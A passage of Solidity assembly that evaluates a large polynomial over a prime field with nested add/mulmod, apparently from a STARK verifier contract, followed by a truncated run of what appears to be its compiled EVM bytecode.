add(0x62d6874b6dcb1c4dc8ed797b9158da4359c6c49f27af4851a12908ecad2092e, mulmod( add(0xbffb0e4f7ccfff0cee519edd1004eefbc47024f92c4409bbdf688c133ad285, mulmod( add(0x3f3ae3871460ac578f5030d925e91c138f3290f8f3cb6d4b560b4b16fbacd64, mulmod( add(0x520b18e79de342aa7095ffe56be6222b0d2e44fc3c676a5c994f24e427b45e2, mulmod( add(0x3939ef0e572dcc3b67f0cb819fffc521df26e50814281621fa6982b1465f786, mulmod( add(0x553f8ab49053432bab53835480b6f4c416eeffb3470fb6bcf122741cac3d71d, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x508243aa19e23cdb8ca0154055c05130462908c6a2691ae522e37ab9d6168f2, mulmod( add(0x28f86fe2d71f9410e14c17195ae19c2c5e623c525c979f4f74dec3ef8848eb5, mulmod( add(0x475f8af086f7aa4ec3739f754f7dd291dc50decc7c7fb03de8aee3cf06824f, mulmod( add(0x1cd528d070930aef19e0f928fc744e79ff57e227b6aa1bbfce15a79166aefd8, mulmod( add(0x19cf240d04f4859941f9b6af4a7088729aa10307cd08aa75f01cb22e872543d, mulmod( add(0x3cf3b95ba351a72019ed1bcadab32116adcf079e72800a9d88f15244e7743e0, mulmod( add(0x25199c11f7193e07191cd9b9108aa8b440ce1972dd1cbe5f0cc33b7783203a8, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x4acd125e74056ca611a1b07369166eb5c02af7a4cbf387b2bd584a362fa9e60, mulmod( add(0x4d8d9b92b38a45147bc9c87c071672edd93cbf5bdc8d85e608f26f1d82d172b, mulmod( add(0x1d6cb5a655919a581078aa2f8a21d300425026ccd7d047302443d78dbc67abd, mulmod( add(0x44147236daf669f8a94b7ea353c3dd7e64312ece01ccc1d4dad67916591d50b, mulmod( add(0x19a0ff21908842e412addb744b0ca384a54bdde819f6337c4c672f682fea9cb, mulmod( add(0x66336e2e2eeb939818f861fa4aa9b2576936470f511786f8fa3417850a6c2d, mulmod( add(0x37cf9640e321e7bccf1926d5fea92918d6888c5805e27193722995233a4adc5, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x589a2e11637d0c90fe91bb9f4d55a80cd1a2df7f3431e8b8bdce8fe7d35126c, mulmod( add(0x3e09706cb43c83143c9dc46f97e0e1ab4327de19ced69badaa8b2c80f68fb9b, mulmod( add(0x24adf288d61c113e28d9a298d2642eb67586019adcb952abf274ebe1d30e24a, mulmod( add(0x1c1216fe648d287c2645dfc5152e171f25483df5ef112b745c2e59b5d9ee07c, mulmod( add(0x4758304a75f149e24563c2b22459151389b86d36108f5dfe11ea1fc7a64fd7, mulmod( add(0x1f27c20f47daaf01d4627d5e9bee0e9bd2aa5b75807064cd60ed87e307f677a, mulmod( add(0x3b4fdc8d965de1761e445ee88cb406f707f9d0b1ea3c069d12084c0ccba9b44, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0xab2147a23a826d5f7c6fea5bf889eaafb5531721f31ee0a9f02fd58f09f65c, mulmod( add(0x2cc90219912af16cf9a39f57f8b8c514f797dd5d49dfed5eabdc278e31106a2, mulmod( add(0xe0b21e37008355c35f7aee295a8b2b72465866b2bd68e72d36f032c34b38a0, mulmod( add(0x1fdb038204ac50e87e3e7239d8c1c0572893ba98e031c982e545e6de64cb8e0, mulmod( add(0xc3e0400cbde1da659381240d9c84b977eef3cd70e3e4a1a8763a05e682eb3b, mulmod( add(0x3f64b3a307276c6a7169c54297bb12aaeebadec98df6ba1184492a82effe353, mulmod( add(0x5f506aaae7ce6d94712c9e0ab02bd2a4ae09600608d54a8ca381b8e96222cf7, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x3e3aa48bb5db9e2b0dc6d294009ecd5d4ff6255dfcdde3f5b4e545032ea9b68, mulmod( add(0x18f9cfeaf2c33e21d7c6fd9e15a3601a2fb3905588868167566e8c1f1dd30fa, mulmod( add(0x20096a7aa30c6c42f1d5f1ed88de275d1d1610f2548711a75fbbd72d373a50e, mulmod( add(0x13d322a0ecbe1e785921a7aa6f4d1135e0798e72f4c055226205314b8348144, mulmod( add(0x40fb948f8a4a10d2b2e928a5d77b481f8d3068b47fa388a3ee65609aade1a41, mulmod( add(0xfc76b77f717a5b3ecafafadf29e7f886c8ae67a3a2bb30467c440472349953, mulmod( add(0xa5d4606609371577b0d17fadcd85ce659885b00245a67b038f902176d99a7c, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x1bc1186238f0d39e1c56185a8d2bf00c90c9c89647917d60a5b762932856524, mulmod( add(0x7736291268c775a82caea06004d53edb829be2566fc7c4053b1d850a8116cac, mulmod( add(0xe08853aabc9eb934b4470bb4ae1dbbe90c61d2093516df998ca7adc98afe10, mulmod( add(0xf19faf3accc43b56369dccdec35dc7b49c5b8f8976764886bd16dd2e155f92, mulmod( add(0x18b8b8d0f393950c9a2e674052150a328d214618049c7e2f58cbad76adbfbd5, mulmod( add(0x7cdb723061223f33289237c7476e737ef0bbc5e2c1ed9a70566511fc2036ba5, mulmod( add(0x425b03b0356b92e66ca816869a76110d68862a0d8ad76f950fdb1d5c03279d1, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x3ab2d353537697d4de9c5c4c0bc31e5e776cb93181029144f6c6d4b5ea4317b, mulmod( add(0xac068a1aae938e26e125b35c88a87130044bf3637bf1acd797103e7388b33a, mulmod( add(0x2d5447623584d3a19e9993814622d6369248bc61813f067c4825c9b0a81551f, mulmod( add(0x60db5bf6f060d82c169a1c4ed6c548d5e8cdb6cfd2e3257c155bf11f48ca609, mulmod( add(0x66e1e25d1bcea87acd136f2c33498e3223fbf78bc6cc816ad6aaf68e961da0d, mulmod( add(0x7417da24519b4c55ec0d698ecaceeb49711aa1e7f7d907102351e73388a0fa5, mulmod( add(0x6cf772fa8050ad8eb87bc8f0c8fc511622b416fdb084cbc93b79501c96b0bda, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x68d729620eca6b4d904198a0e6d241953b9b8c874a10b5ede5596146d560979, mulmod( add(0x63d4964faab567e795024a17032ec564ff221a421bd2e42632d3770c73dbba1, mulmod( add(0x195f98a85cfe403a7d229a6eb4533a1fea641c331db75a5807711fdf1e27dac, mulmod( add(0x36f446f7e5a51114cbdd3b460431bacb5a42cd61f4690cf5e9d9f13e488318d, mulmod( add(0x50ee695deb5a4e63c5dd6de35621d1c0c5a496bf41fecbaa929b2b3e23f174a, mulmod( add(0x1ec5264a5287f1c6de79b3df3adbfa157e8430e594078c3fba7002a077db447, mulmod( add(0x6ca2dd473297a2852e68ea2b83faf8f71e5cb471adcc74a858132c6a823f0c0, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x364889e46da58b66c827835a0c2807338eeb4431f2099f490d13bbad0777a01, mulmod( add(0x6afb39d46d5a846e9d58a6ae27e6cdd83bee29c72754cd4cd3d3cae423f5c9d, mulmod( add(0xd62eb553de83e5d51f78ddd9480d65870dc426f61153e732eb6cd62cee09cd, mulmod( add(0x22cf65c6bbbf76765555748cc1ae91c83ea93ca2c8b34a59332567b5b3b0cd2, mulmod( add(0x2322f8d96071356feee538e0c53d857b1924134b94377af20ed5d0e8b3925b, mulmod( add(0xf639bcd7777c1ffd41a693ac9f5a051bd124b7edce3d568f14304c9fd90a67, mulmod( add(0x1137975bab819ce0cbc73714305030fcd4a185f71d46c169908460390d56d18, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x26701dfe3cc76754a4ab893fef59886a43013ea6ba648efd82fd03941fa2910, mulmod( add(0x2aa45ec320ea12beb804e35af3684dc981324dc9bd044592d1c408c052a4322, mulmod( add(0x50be25e516e30f96d8b420a7c494506d2cd21d64f4d5ecb67d58c2ae99bf5e0, mulmod( add(0x4de47e973af27fde9ad29f812de8a04855110118eb73fcdb46865390486a287, mulmod( add(0x1ab93f16e576b6a54598582eff5e2cfc33baeeb607826579680636b05046d16, mulmod( add(0x5c180e2fbb2b51e053941d0e1611424fe60ced6d439115dd98530c8d79cca4a, mulmod( add(0xaea6f7f915e4aec612029a9d02316baa3f6297ea4cfd38897f4c9859ec485e, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x5626d2ae9581d1d335bfc3863a4eaf3568ec8e70fcdae93f50a15b0cf601b6b, mulmod( add(0x7e84842d5fff1666e01505f62661bcc822dd3fa530ebd1e4089230a4045a04f, mulmod( add(0x596f89b6ca79194eb6a87c17692aa491f5b014da3cc7e5f05caf4fc1779c2dc, mulmod( add(0x3e2dbef5f162784e13b5ff4c33bcbc444ad1546922b293d6783b5de5c5aba78, mulmod( add(0x580f9d95c2bd746c9210a87b0f9ed275afee1dde7a41d9ad5e69861ec0e43f6, mulmod( add(0x4e92d5f575fcaac9adedb4e0c3549dc18f61bc40e3752e3506f3761c32c6e3, mulmod( add(0x1773ba95dbeaab6e5e9fc79ac153d46be1e57828e92287d698a3f4f87ef4984, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x679061e5f453c8bb1855dce8f7d61f2cb64b15d2c4e70b969ec4ead3fc6a226, mulmod( add(0x421fac0e48da8e6355c07f6a64bcea96384848e8ea9a7113ab45f15b1dd15aa, mulmod( add(0x4d215dd42f87632a9cce2cb95081dc731e36796c3d2847dc96a3554231c6aef, mulmod( add(0x68371fc7cb3e0670a73eb3a7e773ddb63f231c26bf25bb1fc1fe6e93a7e3bd0, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) } return result % PRIME; } }
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c80635ed86d5c14610030575b600080fd5b61004d6004803603602081101561004657600080fd5b503561005f565b60408051918252519081900360200190f35b60007f080000000000001100000000000000000000000000000000000000000000000180838181818181818181818181818f097f022aac295d2c9dd7e94269a4a72b2fb3c3af04a0cb42ed1f66cfd446fc505ee201097f02bc4092c868bab2802fe0ba3cffdb1eed98b88a2a35d8c9b94a75f695bd332301097ef685b119593168b5dc2b7887e7f1720165a1bd180b86185590ba339398793501097f05febf85978de1a675512012a9a5d5c89590284d93ae486a94b7bd8df003242101097f04e1b2bc38487c21db3fcea13aaf850884b9aafee1e3a9e045f204f24f4ed90001097f0324182d53af0aa949e3b5ef1cda6d56bed021853be8bcef83bf87df8b308b5a01097f05d4c38bd21ee4c36da189b6114280570d274811852ed6788ba0570f2414a9140191508083828584878689888b8a8d8c8f8f097e529414d56e9f6bf4ce8be38c8f79ffab78b185da61d606c411098f981f139a01097f066d15398bbd83688bda1d5372e048536a27d011f0f54a6311971822f55f9c0701097f052e5e75be2c96802a958af156a9e171dc7d5cfa7f586d90ed45027e57c5fe9201097eb0e39f10e5433b2341ecef312e79ed95d5c8fe5a2e571490dd789dad41a2b901097f0703dcca99c0a4f2b2b7f1b653dbbf907dd1958c248de5dcb35be82031f7d17001097f0749e86688f11d3d0ef67e4f55535c715a475ceec08547c81d11de8884436d8d01097f044a14e5af0c3454a97df201eb3e4c91b5925d06da6741c055504c10ea8a534d0191508083828584878689888b8a8d8c8f8f097f06cd537aebc479350e63acbcf7b9da84f4b06c6c26a571d3a7dd416a94a956ca01097f05e2909b1136e1d6608663e5cbabb616b28d2fd6f5dfb7cd03c4a7e719b7c53f01097f051170abac6896de6a5b478741dd56f52b1d2a1feea59b1f26d060e09ed98b3201097f01d0f94ce5d9d3beaa42ebed05a2f172aa2227e9a9fee0bf43a3fb068c1ac34501097f0785dc572a88712cb4eddcc8a167bb1b62f9a79282f21ee92a0374af7616934401097f039d9d83e0ac884a5ee0f2d227f9eda71724a55002a41938458e45251e12130801097f07fdc637318ea00385719f9ce50848d13cc955eef9f36a90b87e646dac85e3aa0191508083828584878689888b8a8d8c8f8f097f072d82458ba49cd6c638f89d2e3a68e49944f486cdfb7d2848e51aa9f99292a401097f04c484b2cc04747d8d812180ec716f779302231983fa17971b575274c0a9c37801097f062773dee1773834dbb324c4c0d48dcdf9bbf0511547feb1b2ab0f7af7fa2dc201097f05b0343972ee9e17afaf76adc54e6797d54e6e47a7ea1167654ce076e3c6c36001097f03ca8d84242dd2bd2a5d6e644fa1dc9f5082ee6131b6f0db8fd7d4f87109098b01097f06f4ab1f3bccea47669a4c93da36db05bd6f5197945b5ab29191a703312ed3a801097e2d626ebcfae2d3618e350c190fc636495fbb04dd4a4e563680fb961a3d30d80191508083828584878689888b8a8d8c8f8f097e42f0a74ce045e8194b7a5cac4e882b1f1a9face49c38fb3383cfd3d960806c01097f034b7ebee71c5876183407c57610a0a8a33d3138ccd6ae416651cd505e5761d901097f0150c633a21f3cfa157978e9561161f3953e180b9588347a0c819e4173afcfa801097f04f8cecab5f743c7227a63fa7f320930ffa7cc52b0fff6c351d3e9d4c22f9f9a01097d98ad9c2080ba0663fb302025e6224cff41d1d30c5c9101ad77a48a71d8ac01097e58a6d8229d82c192f190e55d28489f621cbcc64e4ef10c1ec5663c5384e60f01097f07850ac1ef437d1b99c026a910b2437c1b877242e605c8f31a456f10e2f787430191508083828584878689888b8a8d8c8f8f097f0337092590652e19c23b48de3629ae0bd4157a5a72ecd3fcd17bb93f0581471601097e95fd265a2a87c42af5a20a199e6730ee3f0e3352a38a5e7e84ef46c621903d01097f038ada3df52cd03154d66b7da4a8a01835a461e61a76ac9576649d8c0001361001097ec1bbae3cf2d414dc12119a0c746e3c10e148f8b522d574eff757d44d8b3a1401097f07122e4b28d4ee35902b7f7b8ad5f525b6c70a2f2bb6b4ee4b9f0008845ffacf01097f075275c33b919425b271966642fabd9ea7c917e70e96eda669040935b1d49db601097f070af32c484244d3435bb65b0ed076f48d06abb45b7765de9c6f26c1c8e9156d0191508083828584878689888b8a8d8c8f8f097f047c78a993a13204796a2fca3b20c0f02c0601e7cc59f84570fa026c65796dc901097f055713c4cc9f91e9f158f70683238853d0bb7cbd8358ff72b01fb60808b5c1de01097f0412fcd2551c0516392f685a62b54fb82b9a73bcffd42abecea4482b65aeea4701097f06925415cd4dbae0ea5e9f41edcb503ff6f668da1cb13ec73eab6a99cd96752a01097e3a2a902a0e43ab33c19459984fe116fb215796cb40c48e254de6126b55e9c301097f0552e18bfefab6c3362cec587f0a7433a914f1359e5767b4fe883f1ad902dd1301097f05643c5a69044bb8e86d10d3248ea3f50f8598732b0c517b256fe108294e09f30191508083828584878689888b8a8d8c8f8f097f0542f931640d9010e906b7e1e375cd0481740157eb51500ea1e10afe77f2626501097f02a2811098d68a747bebe9ca2eae06b604bb307e5f51a9bdac1636f380feabb501097f057d53073d66a528c88f24e40011321f74ce5bdbecd6ca319e5e770ae29b21da01097f01a4393bce3924d765902469c715fedeea69adca566859b4c8c412b7d7cb566d01097f06dfc1fb08b981f73911dc43811caa0ed99749c2f0903f87f389c9a0e2a8812601097e224fe4f546c8f999947a5864ed0dbcd64fcac6f774ebce11667c2bbb7d860301097e1f7d548c5a6f2bc70ff6f8ee47f38221ae25dcb4f9b068054ee66227494f870191508083828584878689888b8a8d8c8f8f097f0735f4476c2b51acb4f0dd9dbc4306108e37543538b2cd3cd2327ae5377a2e5d01097e66ec70c796374a71b6aec5520467ebed547f645d1670b990dfa680a1b415cd01097f014ac38a4b82b4c65e4993726b58f32c74988997b8e8f7729fe9032cf187896d01097f027092905558602aec9af09947b70bb974caa3dd7cb1cb991810e15d75194aa601097f044e3645cc1b135410b2a52a5b92bcb454985033615453a51ac46377885c430901097f0352b933e5d853527d2a4317db613d07117fad8115948957515bc07d72e161f501097f0268c1e10f6f9969291b1d2f54289371a2f40a14cc67b3736e04eb891c1824ed0191508083828584878689888b8a8d8c8f8f097eaa81707e389769aeb31cc8b45276af0370dd702ac79461bae0a4078cefb5df01097f067dec5ad6ddb1761ec61d2820533f7a2bb56d66f2fb8ecff9cbe2821899006101097f0106911de08ef437acabf58d178db7c81ff4d7de25f3ef5cd2582f44176d449e01097f0356591a80d5c2e14c3d8a180c030a9529a8580a4f3be00a5a9eea83d0d585f001097f040a3ea8c4059a1b9138884234381d6d383e66dd48eac1bf05f5fcddd593c88101097f0699e679a8f38a1ecb14c6695a2848c6abbab8a05003e43aa5cf4a9c6e6058f201097f06b86f825e41b2c9934f71cc2cb08787d1bd4f2eefd2be9c44e37bf387b359400191508083828584878689888b8a8d8c8f8f097f04eb2786b11bc602bbf773564eb9b057d7dc02daaf4359c015295d97b74e72bb01097f07b0ed28b968689517aaa216c0203e57f1cf56b22ff1213561499ae140d37fa201097f0367ea925556a875faedf4d61bd2a95a31067bde6e682c50035bb3310cc54b0301097f0781cf0ea1c0ba9cf908656aa2c5a9403d54c26c8ece401a2c13be8d3090f9c101097f020ffc2b4c6c318bee0cdfdca40b2c10f2c629d3b52472b17c1bfd909cb7b85a01097ee5e89fde76daa211fadf1178785f0c25a94d47a468cda257a895b871a928c201097f0164344bae5b9dca8f384612e7351fecde28adee3d245c98dc2f65509b181d8e0191508083828584878689888b8a8d8c8f8f097e4063a6202df9488fe5384aaf7be7610b3e88a9c01486c1b88767ca3635534001097e546f65cf3367a004f10e9a4e47d71f6ec80086cb2be19d7b225825e01eb32301097f072c11bd84cd54152607e4c6e558a28e480a6487e374b865682c167484f8c29b01097f07a5d11f284ee7db72bed2338784d6467e05cae85f333e05c5610c018a57c2a701097f064c71feb673d2655bb1865f9c4bdfb16b1bcd0f278a911363056674dacb812f01097f062334e7d6094be4431aeebefc420f7e656459d6fc2cb10455123ede054f4cdf01097f05dd4b3dd252fa7eda7b46674369a2f8c5b00a891cf01ada0ea5aada8bfbf6d40191508083828584878689888b8a8d8c8f8f097f03373dcd7d0f0f8bb31ec396e1ec67e1f121121356dba549bce9fd4d3bbfbaad01097f042a6c571001e263b1ec8168805bf4d6cb65935cd0687c696ae3a6968fd2837801097f016f35b8d34d425a85fe48e66632d3e4af27d5d65cb180cb99047fdc2b908ea601097f024327b5849aaae0d313870c10e8010a115b70a99cf6b92925f51d2f0568628701097f045ba7e524d75c65ab27b57a6e0b90458c9b0eb651935f84898a5d3cd0db9b8e01097f0767d8839373a2e97b7e3de1be6f4c18df648806920e92fcc4da9ab6bd8525ce01097f0741b0f4e1bf8ed4d6318f5dc5ebba8529089f5ef4a84cd727564c60cc11a96f0191508083828584878689888b8a8d8c8f8f097f068682814e1b4dd639cf396a9f60efe5ca035c6ccd75054b8911e8a15230efa701097f068edfc809bfa6534b583624db421a2cb885d2ce888e6f95eae85ad9cb38249d01097f05d6575134d1b37e610f25e65bc8b0b1ad7fd0cdcaa56fe573142a09707640b501097f0327bd35b3ec38fb121c039f777669426d3d60df3922e688a408a06d4e7ee3a101097f029a66c93ef1fa5ac4b6f96ed329810085b294a7ab8e16c61b1e225fd740623601097eac01d3129d24fe9b9209df8bfeb2526bc27e9c27d78f69eac16ce151b1354001097f03a967c407600baaac716275b8fa16a08c22e928d895c762b2843d00496b33900191508083828584878689888b8a8d8c8f8f097f04d111629c799fb16f602183ae372aee382e0b401312951eefe77a167457524201097ea8a00bb9874fbb44ee3411814dfb9d4d6048f5e3af6f7f09fff4e9f026390101097f03abd943152451107f59aa81194e7bbbe37c4a86a6b41e20a02f8145dd32fa8701097f0580bd7107af3afc93d0cfd1f0bd39f78f06ebe3a900f5d79943c25e980e565301097f07a615360e826e937db0c91cc1c9196086a3fd608cb01d20186ba1ce856904ed01097f021df6648e6f783b7361a20191b8d399a4373dcbcc83f6b4a9a40bf11956219c01097f02c82b2a99d198138ca2c4229a1929d044b113c1b0f693659712318ca7e7f8040191508083828584878689888b8a8d8c8f8f097f06dd74321080cc46d816a963c8a6f5dac42cb11e66c79831efba77433cce0d2301097f01e54c3a5a3beca7932090ff58784aa43261075950feaab0e2a840f3801b81b901097f03360af40b57c0a951da3219025643a76516f85119dfbb05f61874eb3b56b13001097f0164d44fb88efb41e301934bf2c61a20e41c9bcb3f8e784ac5857063b4fc3d5a01097f046efbcd0bd7f06d59a430ddeb9f239d66a24ce1fa72f5dbcc2bab48b707b2dd01097f05ae517bdefe7b6785680842685de0b5cd972a22dae9ceb50a6ea3665feb06f001097e51f4698c121db3db4a5244334c5180cfba256dc80a59689e2c0f1f8d946e6c0191508083828584878689888b8a8d8c8f8f097f067d2681fae96c0b4bf22d10a73a1882c5bf4a5440f8d0458394d514ff7bd18b01097f03dab30754623b91aec7a165cc167e9003269ebab3e551781e4c8cfb73402de701097f044be18892438118a0b3fc099da7489a89cffd4206678abfd37b1e649ad1917801097edb0ad3bd8a33b8daf1d53ff8604bbe5259b6620e3b547d5c6f392dbc10ccd501097f01a36f20817da4dc0c2e8b62fa08ce15cd3cb50419acf5211d6948bd6b28c8ce01097f05fa6f7f2a7a527880a5b58911dd7f3a491fc702f481cee30e67c4980092f85101097f06f682eebabbcbfa3e7084b47b2a01acb693865749df222b4b8dee0ec41903cb0191508083828584878689888b8a8d8c8f8f097f01fd7088411b30cb5762147b1d6749942485b36c68ea32f60ab83fdcbe987d8301097f07172b43d0c88348e5453b0b26d54d4a7ad7e99e6b0c4b787341c8d89936197e01097f034369f479f013d44dd5bb0d79d8a9effdb2ca36ce8b3d7e759bf707233c5bbe01097f03054d35b59baf5b0a2078c23322de031b383033837cd6b978b6c060120b7fb301097f023f0124cd1c3f3605fa1ec36dc4d6cb6e229f8ba8998b138a44595f96f3bf2101097f02300892e3f3c180333d091901ba99ab9e23c7947309b9e88ad47025847ec3a001097f04182bea2ea16dcacb0194876cd5fe8c79e1a55836aff8aa6074d235af5f7b290191508083828584878689888b8a8d8c8f8f097f050f3e383aaf3533fc91b9633386542798abd69b79af893f47f6603d3cc35ea401097ec37f91c81a7006d6681cb511dab2e4d83928ccb78d1dc72c4c556e4cd72db801097f02693f31fd4bb5a1ef9cacdc4f2b33c3d6d965b76e7bf289020ab1b6c6660d7001097f02bebc90c59dc0e37e28c7c7d8254520ce08894637bf1a089aed26012690d11901097f017626d3869adf0fdd3fedd48e9fe1266bb33419bfe9046df43c6409b440980e01097f0734438bc30566591da45df9366f936415d29eaeaeab392488bcccb9acf0edcf01097f022a7b1c897f54da39a1db61b345b234969e36ef6ba0ea02f8d8b3e83b5c62420191508083828584878689888b8a8d8c8f8f097f022eef827b9d0b57649233c5d527b4641decab31df78347a20da21c705df093b01097f0193185be6e02dc0a07c0dced4ed031bf0a406219cce325e76408123406c318b01097eb10494024548b14df121b738abc7babe56c12acc0490699443426a52f3a4f901097f0375ce3766894524209e2043a150f10ad0bf4f726e3dc5453c3c757e56943a5101097f01b1c82e5c561dc42f8c9c2a9f7db6bacd729b2646892a8ecfae9ead9a338aa601097f04b540d0085be455b24f014bf51dc7d0eceb8c93bb644a5208fa02dc58c718ae01097e17f2709d2719458a9bf72a2b04463f0a6529fd9368a47715c628ba4e006cea0191508083828584878689888b8a8d8c8f8f097f020e468bb2828fb774d5ab538ff7f93ada201c2e392936e05cec29cd5a7a462d01097f029cc816e6be353f6ad5e2c390f37ed3940b0dd67610a7eeb0bcded94bdcf92001097f04d3b0654fd74862a92aa716af33b5ad5ac20dc0460c724d95ca94fe6d8a9d7e01097f07ba5194da963f8224987db2720f16baa604ff62351e66a63c0c9dba00fbc7c401097f031d335bd885c9cdf2adc68ab45b8eecd2d3588cf85b93206896b2626eb1e36901097f04efcba706a8b7868e32f363efac2696ad0625d046a3ef97917c71051501638601097f056017977a273ad0e91c7c26a702ae4508343e97968295b08447b3cc7f20522f0191508083828584878689888b8a8d8c8f8f097f016416cc193a5ced6ff213fc18c86bd6f08d17c576f26b9ebd00d2653bbd644401097f04237c41364975eb79919303fc0a381b934befe871fdbd72c18f97627292923e01097f01b389d976c22a3bfb42424896c9b135a3794048724c729968f81e04ce41419401097f062fc206aa283139f7451e54cdac873fe86b6e7e89214a3c0318fbcaf6016fa401097e88f6e5a835dfda9fa2e2ff248d9378352f4a89b6bf5935700da390baebadb701097f04f9e975176d3aacd79c322d013c854c4b8829d1e469c9b242461f35e8dc6fed01097f06e1143b147dd1bcc56dd43e6a3616c9a4016d6887cf0009ebf9f9796efc944a0191508083828584878689888b8a8d8c8f8f097f0284c547c04ca83fdb01020cfc797eb362838317f09e5d25e1e4eef353ab7a7f01097f060c327ef73c8468805ecace45a33ccc375fc91ffbf01b4b10a01ffd4b7aaefe01097f059cd87f8751437900e984a009c63fdf7461b177067760f30d4f648ab271660a01097edaf5a68420fa7ad811f6dc75c5b4e92173a5d89255dc75accb8cec80a9cd9101097f01f573af6e3ad146eeaa582f540de6a8db237ff2f28423660de998a4275bf4d001097f02830a6edb344b7fa86506557a0b2b0bd900429218fb35e7990951fe4fe869c601097f058f2e18613b3b25529935a623e7d5c8318ca9ff3fb180f16f7454ca9e348e350191508083828584878689888b8a8d8c8f8f097f042c8f0b5507417eb48ffeb1a7df8808633f193c27df8e2f44ee7bd62cb2c3bf01097f050d603bf9c2a456b828ae476092affde072ecd878877ec3f99ba8f574d263a201097f0413fda31150aa8462deae8a6043fc5624599fb7f638c4d5c5f89472e1223c2801097f013fe84c8ecc2e3fd289560c0ada7a251fdd5fba24c076be4be465feec4262e601097f02b2a0768e9a5f59e7f33ea449690794c8b409bacd1c808f7ee8065ed9d8648c01097f03030332e9cf430f72159914e59ab9af532bdfdafedc1be39691256c8084954e01097f016617a52bfe5d2fd0eedb0d6411f5fafeb14a4ac17da0cc828c914acb500ce90191508083828584878689888b8a8d8c8f8f097f0553f8ab49053432bab53835480b6f4c416eeffb3470fb6bcf122741cac3d71d01097f03939ef0e572dcc3b67f0cb819fffc521df26e50814281621fa6982b1465f78601097f0520b18e79de342aa7095ffe56be6222b0d2e44fc3c676a5c994f24e427b45e201097f03f3ae3871460ac578f5030d925e91c138f3290f8f3cb6d4b560b4b16fbacd6401097ebffb0e4f7ccfff0cee519edd1004eefbc47024f92c4409bbdf688c133ad28501097f062d6874b6dcb1c4dc8ed797b9158da4359c6c49f27af4851a12908ecad2092e01097f0511c0ad7c0bfdcfcfaf925895a8ef5e8c5e0d147e29c9cdae45fbc998fce3460191508083828584878689888b8a8d8c8f8f097f025199c11f7193e07191cd9b9108aa8b440ce1972dd1cbe5f0cc33b7783203a801097f03cf3b95ba351a72019ed1bcadab32116adcf079e72800a9d88f15244e7743e001097f019cf240d04f4859941f9b6af4a7088729aa10307cd08aa75f01cb22e872543d01097f01cd528d070930aef19e0f928fc744e79ff57e227b6aa1bbfce15a79166aefd801097e475f8af086f7aa4ec3739f754f7dd291dc50decc7c7fb03de8aee3cf06824f01097f028f86fe2d71f9410e14c17195ae19c2c5e623c525c979f4f74dec3ef8848eb501097f0508243aa19e23cdb8ca0154055c05130462908c6a2691ae522e37ab9d6168f20191508083828584878689888b8a8d8c8f8f097f037cf9640e321e7bccf1926d5fea92918d6888c5805e27193722995233a4adc501097e66336e2e2eeb939818f861fa4aa9b2576936470f511786f8fa3417850a6c2d01097f019a0ff21908842e412addb744b0ca384a54bdde819f6337c4c672f682fea9cb01097f044147236daf669f8a94b7ea353c3dd7e64312ece01ccc1d4dad67916591d50b01097f01d6cb5a655919a581078aa2f8a21d300425026ccd7d047302443d78dbc67abd01097f04d8d9b92b38a45147bc9c87c071672edd93cbf5bdc8d85e608f26f1d82d172b01097f04acd125e74056ca611a1b07369166eb5c02af7a4cbf387b2bd584a362fa9e600191508083828584878689888b8a8d8c8f8f097f03b4fdc8d965de1761e445ee88cb406f707f9d0b1ea3c069d12084c0ccba9b4401097f01f27c20f47daaf01d4627d5e9bee0e9bd2aa5b75807064cd60ed87e307f677a01097e4758304a75f149e24563c2b22459151389b86d36108f5dfe11ea1fc7a64fd701097f01c1216fe648d287c2645dfc5152e171f25483df5ef112b745c2e59b5d9ee07c01097f024adf288d61c113e28d9a298d2642eb67586019adcb952abf274ebe1d30e24a01097f03e09706cb43c83143c9dc46f97e0e1ab4327de19ced69badaa8b2c80f68fb9b01097f0589a2e11637d0c90fe91bb9f4d55a80cd1a2df7f3431e8b8bdce8fe7d35126c0191508083828584878689888b8a8d8c8f8f097f05f506aaae7ce6d94712c9e0ab02bd2a4ae09600608d54a8ca381b8e96222cf701097f03f64b3a307276c6a7169c54297bb12aaeebadec98df6ba1184492a82effe35301097ec3e0400cbde1da659381240d9c84b977eef3cd70e3e4a1a8763a05e682eb3b01097f01fdb038204ac50e87e3e7239d8c1c0572893ba98e031c982e545e6de64cb8e001097ee0b21e37008355c35f7aee295a8b2b72465866b2bd68e72d36f032c34b38a001097f02cc90219912af16cf9a39f57f8b8c514f797dd5d49dfed5eabdc278e31106a201097eab2147a23a826d5f7c6fea5bf889eaafb5531721f31ee0a9f02fd58f09f65c0191508083828584878689888b8a8d8c8f8f097ea5d4606609371577b0d17fadcd85ce659885b00245a67b038f902176d99a7c01097efc76b77f717a5b3ecafafadf29e7f886c8ae67a3a2bb30467c44047234995301097f040fb948f8a4a10d2b2e928a5d77b481f8d3068b47fa388a3ee65609aade1a4101097f013d322a0ecbe1e785921a7aa6f4d1135e0798e72f4c055226205314b834814401097f020096a7aa30c6c42f1d5f1ed88de275d1d1610f2548711a75fbbd72d373a50e01097f018f9cfeaf2c33